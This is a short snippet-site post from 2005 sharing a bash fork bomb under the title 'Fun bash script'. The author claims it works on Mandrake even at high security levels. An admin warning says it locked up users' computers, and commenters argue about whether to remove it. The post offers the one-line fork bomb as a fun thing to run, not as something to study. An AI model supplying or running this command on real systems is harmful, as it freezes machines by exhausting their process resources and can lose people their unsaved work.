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Fun bash script (See related posts)

Warning from admin: Some users have reported this snippet LOCKED UP THEIR COMPUTERS. Do NOT run it unless you accept this as a possible consequence!!

Guaranteed to work on mandrake, even at security level 4 (5 being the highest).

dfdeshom@localhost$ :(){ :|:& };:
to dangerous mandrake bash by dfdeshom on Fri Apr 08 04:05:55 -0400 2005

Comments on this post

battlemidget posts on Feb 16, 2007 at 15:25
This is a fork bomb and should be removed from this website.

dfdeshom is lame for posting this
peter posts on Feb 17, 2007 at 09:41
Back when I owned Snippets, someone e-mailed me with the same complaint. DZone may choose to remove it now, but I'm still of the opinion it should remain up, but with a warning (which it now has).

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